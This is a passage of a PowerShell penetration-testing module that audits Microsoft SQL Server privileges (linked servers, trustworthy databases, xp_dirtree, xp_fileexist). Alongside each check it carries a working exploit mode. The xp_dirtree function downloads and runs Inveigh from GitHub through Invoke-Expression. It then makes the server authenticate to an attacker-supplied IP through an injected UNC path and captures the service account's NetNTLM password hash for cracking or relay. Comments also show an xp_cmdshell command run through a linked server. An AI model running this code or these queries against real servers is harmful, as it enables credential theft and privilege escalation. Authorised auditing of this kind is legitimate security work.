        $LinkedServers = Get-SQLServerLink -Verbose -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.LocalLogin -ne 'Uses Self Credentials'
        }

        # Update vulnerable status
        if($LinkedServers)
        {
            $IsVulnerable  = 'Yes'             
            $LinkedServers | 
            ForEach-Object -Process {
                $Details = 
                $LinkName = $LinkedServers.DatabaseLinkName
                $LinkUser = $LinkedServers.RemoteLoginName
                $LinkAccess = $LinkedServers.is_data_access_enabled
                $ExploitCmd = "Example query: SELECT * FROM OPENQUERY([$LinkName],'Select ''Server: '' + @@Servername +'' '' + ''Login: '' + SYSTEM_USER')"
                
                if($LinkUser -and $LinkAccess -eq "True"){
                    Write-Verbose -Message "$Instance : - The $LinkName linked server was found configured with the $LinkUser login."
                    $Details = "The SQL Server link $LinkName was found configured with the $LinkUser login."
                    $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)                                                                                       
                }
            }
        }
        else
        {
            Write-Verbose -Message "$Instance : - No exploitable SQL Server links were found."
        }

        # -----------------------------------------------------------------
        # Check for exploit dependancies
        # Note: Typically secondary configs required for dba/os execution
        # -----------------------------------------------------------------
        # $IsExploitable = "No" or $IsExploitable = "Yes"
        # Check if the link is alive and verify connection + check if sysadmin


        # -----------------------------------------------------------------
        # Exploit Vulnerability
        # Note: Add the current user to sysadmin fixed server role
        # -----------------------------------------------------------------
        # $Exploited = "No" or $Exploited = "Yes"
        # select * from openquery("server\intance",'EXEC xp_cmdshell whoami WITH RESULT SETS ((output VARCHAR(MAX)))')
        # Also, recommend link crawler module
                       
                   
        # Status User
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link" 
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData
        }
    }
}


# ---------------------------------------
# Invoke-SQLAuditPrivTrustworthy
# ---------------------------------------
# Author: Scott Sutherland
Function Invoke-SQLAuditPrivTrustworthy
{
    <#
            .SYNOPSIS
            Check if any databases have been configured as trustworthy.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER Exploit
            Exploit vulnerable issues.
            .EXAMPLE
            PS C:\> Invoke-SQLAuditPrivTrustworthy -Instance SQLServer1\STANDARDDEV2014
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : Excessive Privilege - Trustworthy Database
            Description : One or more database is configured as trustworthy. The TRUSTWORTHY database property is used to indicate whether the instance of SQL Server trusts the database
            and the contents within it. Including potentially malicious assemblies with an EXTERNAL_ACCESS or UNSAFE permission setting. Also, potentially malicious modules
            that are defined to execute as high privileged users. Combined with other weak configurations it can lead to user impersonation and arbitrary code exection on
            the server.
            Remediation : Configured the affected database so the 'is_trustworthy_on' flag is set to 'false'. A query similar to 'ALTER DATABASE MyAppsDb SET TRUSTWORTHY ON' is used to
            set a database as trustworthy. A query similar to 'ALTER DATABASE MyAppDb SET TRUSTWORTHY OFF' can be use to unset it.
            Severity : Low
            IsVulnerable : Yes
            IsExploitable : No
            Exploited : No
            ExploitCmd : There is not exploit available at this time.
            Details : The database testdb was found configured as trustworthy.
            Reference : https://msdn.microsoft.com/en-us/library/ms187861.aspx
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Invoke-SQLAuditPrivTrustworthy -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [string]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit
    )

    Begin
    {                 
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')   
    }

    Process
    {   
        # Status User
        Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database" 

        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            # Status user
            Write-Verbose -Message "$Instance : CONNECTION FAILED."
            Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database."           
            Return
        }
        else
        {
            Write-Verbose -Message "$Instance : CONNECTION SUCCESS."
        }

        # Grab server information
        $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
        $CurrentLogin = $ServerInfo.CurrentLogin
        $ComputerName = $ServerInfo.ComputerName

        # --------------------------------------------
        # Set function meta data for report output
        # --------------------------------------------
        if($Exploit)
        {
            $TestMode  = 'Exploit'
        }
        else
        {
            $TestMode  = 'Audit'
        }         
        $Vulnerability = 'Excessive Privilege - Trustworthy Database'
        $Description   = 'One or more database is configured as trustworthy. The TRUSTWORTHY database property is used to indicate whether the instance of SQL Server trusts the database and the contents within it. Including potentially malicious assemblies with an EXTERNAL_ACCESS or UNSAFE permission setting. Also, potentially malicious modules that are defined to execute as high privileged users. Combined with other weak configurations it can lead to user impersonation and arbitrary code exection on the server.'
        $Remediation   = "Configured the affected database so the 'is_trustworthy_on' flag is set to 'false'. A query similar to 'ALTER DATABASE MyAppsDb SET TRUSTWORTHY ON' is used to set a database as trustworthy. A query similar to 'ALTER DATABASE MyAppDb SET TRUSTWORTHY OFF' can be use to unset it."
        $Severity      = 'Low' 
        $IsVulnerable  = 'No'
        $IsExploitable = 'No' 
        $Exploited     = 'No'
        $ExploitCmd    = 'There is not exploit available at this time.'
        $Details       = ''   
        $Reference     = 'https://msdn.microsoft.com/en-us/library/ms187861.aspx'       
        $Author        = 'Scott Sutherland (@_nullbind), NetSPI 2016' 
        
        # -----------------------------------------------------------------
        # Check for the Vulnerability
        # Note: Typically a missing patch or weak configuration
        # -----------------------------------------------------------------

        # Select links configured with static credentials
        $TrustedDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.DatabaseName -ne 'msdb' -and $_.is_trustworthy_on -eq 'True'
        }

        # Update vulnerable status
        if($TrustedDatabases)
        {
            $IsVulnerable  = 'Yes'             
            $TrustedDatabases | 
            ForEach-Object -Process {                
                $DatabaseName = $TrustedDatabases.DatabaseName                
        
                Write-Verbose -Message "$Instance : - The database $DatabaseName was found configured as trustworthy."
                $Details = "The database $DatabaseName was found configured as trustworthy."
                $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)                                                                                       
            }
        }
        else
        {
            Write-Verbose -Message "$Instance : - No non-default trusted databases were found."
        }

        # -----------------------------------------------------------------
        # Check for exploit dependancies
        # Note: Typically secondary configs required for dba/os execution
        # -----------------------------------------------------------------
        # $IsExploitable = "No" or $IsExploitable = "Yes"
        # Check if the link is alive and verify connection + check if sysadmin


        # -----------------------------------------------------------------
        # Exploit Vulnerability
        # Note: Add the current user to sysadmin fixed server role
        # -----------------------------------------------------------------
        # $Exploited = "No" or $Exploited = "Yes"
        # select * from openquery("server\intance",'EXEC xp_cmdshell whoami WITH RESULT SETS ((output VARCHAR(MAX)))')
        # Also, recommend link crawler module
                       
                   
        # Status User
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database" 
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData
        }
    }
}


# ---------------------------------------
# Invoke-SQLAuditPrivXpDirtree
# ---------------------------------------
# Author: Scott Sutherland
Function Invoke-SQLAuditPrivXpDirtree
{
    <#
            .SYNOPSIS
            Check if the current user has privileges to execute xp_dirtree extended stored procedure.
            If exploit option is used, the script will inject a UNC path to the attacker's IP and capture
            the SQL Server service account password hash using Inveigh.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER Exploit
            Exploit vulnerable issues.
            .PARAMETER AttackerIp
            IP that the SQL Server service will attempt to authenticate to, and password hashes will be captured from.
            .PARAMETER TimeOut
            Number of seconds to wait for authentication from target SQL Server.
            .EXAMPLE
            PS C:\> Invoke-SQLAuditPrivXpDirtree -Verbose -Instance SQLServer1\STANDARDDEV2014 -AttackerIp 10.1.1.2
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : Excessive Privilege - Execute xp_dirtree
            Description : xp_dirtree is a native extended stored procedure that can be executed by members of the Public role by default in SQL Server 2000-2014. Xp_dirtree can be used to force
                            the SQL Server service account to authenticate to a remote attacker. The service account password hash can then be captured + cracked or relayed to gain unauthorized
                            access to systems. This also means xp_dirtree can be used to escalate a lower privileged user to sysadmin when a machine or managed account isnt being used. Thats
                            because the SQL Server service account is a member of the sysadmin role in SQL Server 2000-2014, by default.
            Remediation : Remove EXECUTE privileges on the XP_DIRTREE procedure for non administrative logins and roles. Example command: REVOKE EXECUTE ON xp_dirtree to Public
            Severity : Medium
            IsVulnerable : Yes
            IsExploitable : Yes
            Exploited : Yes
            ExploitCmd : Crack the password hash offline or relay it to another system.
            Details : The public principal has EXECUTE privileges on XP_DIRTREE procedure in the master database. Recovered password hash! Hash type =
                NetNTLMv1;Hash = SQLSvcAcnt::Domain:0000000000000000400000000000000000000000000000000:1CEC319E75261CEC319E759E7511E1CEC319E753AB7D:
Reference : https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/
Author : Scott Sutherland (@_nullbind), NetSPI 2016
 
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain -Verbose | Invoke-SQLAuditPrivXpDirtree -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [string]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit,

        [Parameter(Mandatory = $false,
        HelpMessage = 'IP that the SQL Server service will attempt to authenticate to, and password hashes will be captured from.')]
        [string]$AttackerIp,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Time in second to way for hash to be captured.')]
        [int]$TimeOut = 5
    )

    Begin
    {                 
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')   
    }

    Process
    {   
        # Status User
        Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Excessive Privilege - xp_dirtree" 

        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            # Status user
            Write-Verbose -Message "$Instance : CONNECTION FAILED."
            Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - xp_dirtree."           
            Return
        }
        else
        {
            Write-Verbose -Message "$Instance : CONNECTION SUCCESS."
        }

        # Grab server information
        # Grab server, login, and role information
        $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose 
        $ComputerName = $ServerInfo.ComputerName                
        $CurrentLogin = $ServerInfo.CurrentLogin        
        $CurrentLoginRoles = Get-SQLServerRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PrincipalName $CurrentLogin  -SuppressVerbose              
        $CurrentPrincpalList = @()
        $CurrentPrincpalList += $CurrentLogin       
        $CurrentPrincpalList += 'Public'
        $CurrentLoginRoles | ForEach-Object -Process {
            $CurrentPrincpalList += $_.RolePrincipalName
        }   

        # --------------------------------------------
        # Set function meta data for report output
        # --------------------------------------------
        if($Exploit)
        {
            $TestMode  = 'Exploit'
        }
        else
        {
            $TestMode  = 'Audit'
        }         
        $Vulnerability = 'Excessive Privilege - Execute xp_dirtree'
        $Description   = 'xp_dirtree is a native extended stored procedure that can be executed by members of the Public role by default in SQL Server 2000-2014. Xp_dirtree can be used to force the SQL Server service account to authenticate to a remote attacker. The service account password hash can then be captured + cracked or relayed to gain unauthorized access to systems. This also means xp_dirtree can be used to escalate a lower privileged user to sysadmin when a machine or managed account isnt being used. Thats because the SQL Server service account is a member of the sysadmin role in SQL Server 2000-2014, by default.'
        $Remediation   = 'Remove EXECUTE privileges on the XP_DIRTREE procedure for non administrative logins and roles. Example command: REVOKE EXECUTE ON xp_dirtree to Public'
        $Severity      = 'Medium' 
        $IsVulnerable  = 'No'
        $IsExploitable = 'No' 
        $Exploited     = 'No'
        $ExploitCmd    = 'Crack the password hash offline or relay it to another system.'
        $Details       = ''   
        $Reference     = 'https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/'       
        $Author        = 'Scott Sutherland (@_nullbind), NetSPI 2016' 
        
        # -----------------------------------------------------------------
        # Check for the Vulnerability
        # Note: Typically a missing patch or weak configuration
        # -----------------------------------------------------------------

        # Get users and roles that execute xp_dirtree
        $DirTreePrivs = Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName master -SuppressVerbose | Where-Object -FilterScript {
            $_.ObjectName -eq 'xp_dirtree' -and $_.PermissionName -eq 'EXECUTE' -and $_.statedescription -eq 'grant'
        }

        # Update vulnerable status
        if($DirTreePrivs)
        {
            # Status user
            Write-Verbose -Message "$Instance : - The $PrincipalName principal has EXECUTE privileges on xp_dirtree."  

            $IsVulnerable  = 'Yes'             
            $DirTreePrivs | 
            ForEach-Object -Process {                
                $PrincipalName = $DirTreePrivs.PrincipalName                
        
                # Check if current login can exploit
                $CurrentPrincpalList |
                ForEach-Object -Process { 
                    $PrincipalCheck = $_

                    if($PrincipalName -eq $PrincipalCheck -or $PrincipalName -eq 'public')
                    {
                        $IsExploitable  = 'Yes' 

                        # Check if the current process has elevated privs
                        # https://msdn.microsoft.com/en-us/library/system.security.principal.windowsprincipal(v=vs.110).aspx
                        $CurrentIdentity=[System.Security.Principal.WindowsIdentity]::GetCurrent()
                        $prp=new-object System.Security.Principal.WindowsPrincipal($CurrentIdentity)
                        $adm=[System.Security.Principal.WindowsBuiltInRole]::Administrator
                        $IsAdmin=$prp.IsInRole($adm)
                        if (-not $IsAdmin)
                         {
                            Write-Verbose -Message "$Instance : - You do not have Administrator rights. Run this function as an Administrator in order to load Inveigh."
                            $IAMADMIN = 'No'
                         }else{
                            Write-Verbose -Message "$Instance : - You have Administrator rights. Inveigh will be loaded."
                            $IAMADMIN = 'Yes'
                         }

                        # Check for exploit flag
                        if($IAMADMIN -eq 'Yes')
                        {
                            # Attempt to load Inveigh from file
                            #$InveighSrc = Get-Content .\scripts\Inveigh.ps1 -ErrorAction SilentlyContinue | Out-Null
                            #Invoke-Expression($InveighSrc)

                            # Get IP of current system
                            if(-not $AttackerIp)
                            {
                                $AttackerIp = (Test-Connection -ComputerName 127.0.0.1 -Count 1 |
                                Select-Object -ExpandProperty Ipv4Address |
                                Select-Object -Property IPAddressToString -ExpandProperty IPAddressToString)

                                if($AttackerIp -eq "127.0.0.1"){
                                    $AttackerIp = Get-WmiObject win32_networkadapterconfiguration -filter "ipenabled = 'True'" -ComputerName $env:COMPUTERNAME | 
                                    Select-Object -First 1 @{Name = "IPAddress";Expression = {[regex]$rx = "(\d{1,3}(\.?)){4}"; $rx.matches($_.IPAddress)[0].Value}} | Select-Object IPaddress -ExpandProperty IPAddress -First 1
                                }
                             }

                            # Attempt to load Inveigh via reflection
                            Invoke-Expression -Command (New-Object -TypeName system.net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1')

                            $TestIt = Test-Path -Path Function:\Invoke-Inveigh
                            if($TestIt -eq 'True')
                            {
                                Write-Verbose -Message "$Instance : - Inveigh loaded." 

                                # Get IP of SQL Server instance
                                $InstanceIP = Resolve-DnsName $ComputerName | Select-Object -Property IPaddress -ExpandProperty ipaddress 
                                
                                # Start sniffing for hashes from that IP
                                Write-Verbose -Message "$Instance : - Start sniffing..." 
                                Invoke-Inveigh -HTTP N -NBNS Y -MachineAccounts Y -WarningAction SilentlyContinue -IP $AttackerIp | Out-Null


                                # Sent unc path to attacker's Ip
                                Write-Verbose -Message "$Instance : - Inject UNC path to \\$AttackerIp\path..."
                                Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "xp_dirtree '\\$AttackerIp\path'" -TimeOut 10 -SuppressVerbose | Out-Null                               
                                
                                # Stop sniffing and print password hashes
                                Start-Sleep $TimeOut
                                Stop-Inveigh | Out-Null 
                                Write-Verbose -Message "$Instance : - Stopped sniffing." 
                                
                                $HashType = ''
                                $Hash = ''

                                [string]$PassCleartext = Get-InveighCleartext 
                                if($PassCleartext)
                                {
                                    $HashType = 'Cleartext'
                                    $Hash = $PassCleartext
                                }

                                [string]$PassNetNTLMv1 = Get-InveighNTLMv1
                                if($PassNetNTLMv1)
                                {
                                    $HashType = 'NetNTLMv1'
                                    $Hash = $PassNetNTLMv1
                                }

                                [string]$PassNetNTLMv2 = Get-InveighNTLMv2
                                if($PassNetNTLMv2)
                                {
                                    $HashType = 'NetNTLMv2'
                                    $Hash = $PassNetNTLMv2
                                }                                                                       
                                
                                if($Hash)
                                {
                                    # Update Status
                                    Write-Verbose -Message "$Instance : - Recovered $HashType hash:" 
                                    Write-Verbose -Message "$Instance : - $Hash"
                                    $Exploited = "Yes"
                                    
                                    $Details = "The $PrincipalName principal has EXECUTE privileges on the xp_dirtree procedure in the master database. Recovered password hash! Hash type = $HashType;Hash = $Hash" 
                                }
                                else
                                {
                                    # Update Status
                                    $Exploited = 'No'
                                    $Details = "The $PrincipalName principal has EXECUTE privileges on the xp_dirtree procedure in the master database. xp_dirtree Executed, but no password hash was recovered."   
                                }        
                                
                                # Clear inveigh cache
                                $null = Clear-Inveigh                                          
                            }
                            else
                            {
                                Write-Verbose -Message "$Instance : - Inveigh could not be loaded." 
                                # Update status
                                $Exploited = 'No'
                                $Details = "The $PrincipalName principal has EXECUTE privileges on the xp_dirtree procedure in the master database, but Inveigh could not be loaded so no password hashes could be recovered." 
                            }
                        }
                        else
                        {
                            # Update status
                            $Exploited = 'No'
                            $Details = "The $PrincipalName principal has EXECUTE privileges on the xp_dirtree procedure in the master database."                            
                        }
                    }
                    else
                    {
                        # Update status
                        $IsExploitable  = 'No' 
                        $Details = "The $PrincipalName principal has EXECUTE privileges the xp_dirtree procedure in the master database."  
                    }
                }

                # Add record
                $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)                                                                                       
            }
        }
        else
        {
            Write-Verbose -Message "$Instance : - No logins were found with the EXECUTE privilege on xp_dirtree."
        }                       
                   
        # Status User
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - XP_DIRTREE" 
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData
        }
    }
}

# ---------------------------------------
# Invoke-SQLAuditPrivXpFileexist
# ---------------------------------------
# Author: Scott Sutherland
Function Invoke-SQLAuditPrivXpFileexist
{
    <#
            .SYNOPSIS
            Check if the current user has privileges to execute xp_fileexist extended stored procedure.
            If exploit option is used, the script will inject a UNC path to the attacker's IP and capture
            the SQL Server service account password hash using Inveigh.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER Exploit
            Exploit vulnerable issues.
            .PARAMETER AttackerIp
            IP that the SQL Server service will attempt to authenticate to, and password hashes will be captured from.
            .PARAMETER TimeOut
            Number of seconds to wait for authentication from target SQL Server.
            .EXAMPLE
            PS C:\> Invoke-SQLAuditPrivXpFileexist -Verbose -Instance SQLServer1\STANDARDDEV2014 -AttackerIp 10.1.1.2
 
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain -Verbose | Invoke-SQLAuditPrivXpFileexist -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [string]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit,

        [Parameter(Mandatory = $false,
        HelpMessage = 'IP that the SQL Server service will attempt to authenticate to, and password hashes will be captured from.')]
        [string]$AttackerIp,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Time in second to way for hash to be captured.')]
        [int]$TimeOut = 5
    )

    Begin
    {                 
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')   
    }

    Process
    {   
        # Status User
        Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Excessive Privilege - xp_fileexist" 

        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            # Status user
            Write-Verbose -Message "$Instance : CONNECTION FAILED."
            Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - xp_fileexist."           
            Return
        }
        else
        {
            Write-Verbose -Message "$Instance : CONNECTION SUCCESS."
        }

        # Grab server information
        # Grab server, login, and role information
        $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose 
        $ComputerName = $ServerInfo.ComputerName                
        $CurrentLogin = $ServerInfo.CurrentLogin        
        $CurrentLoginRoles = Get-SQLServerRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PrincipalName $CurrentLogin  -SuppressVerbose              
        $CurrentPrincpalList = @()
        $CurrentPrincpalList += $CurrentLogin       
        $CurrentPrincpalList += 'Public'
        $CurrentLoginRoles | ForEach-Object -Process {
            $CurrentPrincpalList += $_.RolePrincipalName
        }   

        # --------------------------------------------
        # Set function meta data for report output
        # --------------------------------------------
        if($Exploit)
        {
            $TestMode  = 'Exploit'
        }
        else
        {
            $TestMode  = 'Audit'
        }         
        $Vulnerability = 'Excessive Privilege - Execute xp_fileexist'
        $Description   = 'xp_fileexist is a native extended stored procedure that can be executed by members of the Public role by default in SQL Server 2000-2014. Xp_dirtree can be used to force the SQL Server service account to authenticate to a remote attacker. The service account password hash can then be captured + cracked or relayed to gain unauthorized access to systems. This also means xp_dirtree can be used to escalate a lower privileged user to sysadmin when a machine or managed account isnt being used. Thats because the SQL Server service account is a member of the sysadmin role in SQL Server 2000-2014, by default.'
        $Remediation   = 'Remove EXECUTE privileges on the xp_fileexist procedure for non administrative logins and roles. Example command: REVOKE EXECUTE ON xp_fileexist to Public'
        $Severity      = 'Medium' 
        $IsVulnerable  = 'No'
        $IsExploitable = 'No' 
        $Exploited     = 'No'
        $ExploitCmd    = 'Crack the password hash offline or relay it to another system.'
        $Details       = ''   
        $Reference     = 'https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/'       
        $Author        = 'Scott Sutherland (@_nullbind), NetSPI 2016' 
        
        # -----------------------------------------------------------------
        # Check for the Vulnerability
        # Note: Typically a missing patch or weak configuration
        # -----------------------------------------------------------------

        # Get users and roles that execute xp_fileexist
        $DirTreePrivs = Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName master -SuppressVerbose | Where-Object -FilterScript {
            $_.ObjectName -eq 'xp_fileexist' -and $_.PermissionName -eq 'EXECUTE' -and $_.statedescription -eq 'grant'
        }

        # Update vulnerable status
        if($DirTreePrivs)
        {
            # Status user
            Write-Verbose -Message "$Instance : - The $PrincipalName principal has EXECUTE privileges on xp_fileexist."  

            $IsVulnerable  = 'Yes'             
            $DirTreePrivs | 
            ForEach-Object -Process {                
                $PrincipalName = $DirTreePrivs.PrincipalName                
        
                # Check if current login can exploit
                $CurrentPrincpalList |
                ForEach-Object -Process { 
                    $PrincipalCheck = $_

                    if($PrincipalName -eq $PrincipalCheck)
                    {
                        $IsExploitable  = 'Yes' 

                        # Check if the current process has elevated privs
                        # https://msdn.microsoft.com/en-us/library/system.security.principal.windowsprincipal(v=vs.110).aspx
                        $CurrentIdentity=[System.Security.Principal.WindowsIdentity]::GetCurrent()
                        $prp=new-object System.Security.Principal.WindowsPrincipal($CurrentIdentity)
                        $adm=[System.Security.Principal.WindowsBuiltInRole]::Administrator
                        $IsAdmin=$prp.IsInRole($adm)
                        if (-not $IsAdmin)
                         {
                            Write-Verbose -Message "$Instance : - You do not have Administrator rights. Run this function as an Administrator in order to load Inveigh."
                            $IAMADMIN = 'No'
                         }else{
                            Write-Verbose -Message "$Instance : - You have Administrator rights. Inveigh will be loaded."
                            $IAMADMIN = 'Yes'
                         }

                        # Get IP of current system
                        if(-not $AttackerIp)
                        {
                            $AttackerIp = (Test-Connection -ComputerName 127.0.0.1 -Count 1 |
                            Select-Object -ExpandProperty Ipv4Address |
                            Select-Object -Property IPAddressToString -ExpandProperty IPAddressToString)

                            if($AttackerIp -eq "127.0.0.1"){
                                $AttackerIp = Get-WmiObject win32_networkadapterconfiguration -filter "ipenabled = 'True'" -ComputerName $env:COMPUTERNAME | 
                                Select-Object -First 1 @{Name = "IPAddress";Expression = {[regex]$rx = "(\d{1,3}(\.?)){4}"; $rx.matches($_.IPAddress)[0].Value}} | Select-Object IPaddress -ExpandProperty IPAddress -First 1
                            }
                        }

                        # Check for exploit flag
                        if($IAMADMIN -eq 'Yes')
                        {
                            # Attempt to load Inveigh from file
